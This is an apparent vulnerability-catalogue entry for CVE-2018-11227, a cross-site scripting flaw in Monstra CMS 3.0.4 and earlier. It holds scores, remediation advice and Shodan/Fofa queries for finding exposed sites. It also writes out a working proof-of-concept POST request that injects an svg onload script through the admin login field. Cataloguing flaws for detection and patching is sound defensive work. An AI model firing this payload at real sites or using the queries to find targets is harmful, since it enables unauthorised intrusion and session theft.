| Title | Monstra CMS <=3.0.4 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade Monstra CMS to a version higher than 3.0.4 or apply the official patch provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04502 |
| CVE ID | CVE-2018-11227 |
| CWE ID | CWE-79 |
| Shodan Query | http.favicon.hash:419828698 |
| Fofa Query | icon_hash=419828698 |
| Tags | cve cve2018 xss mostra mostracms cms edb monstra vuln |
Monstra CMS 3.0.4 and earlier contains a cross-site scripting vulnerability via index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /admin/index.php?id=pages HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Connection: close
Content-Length: 79
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
login="><svg/onload=alert(document.domain)>&password=xxxxxx&login_submit=Log+In
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11227.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-11227.pcap
N/AN/A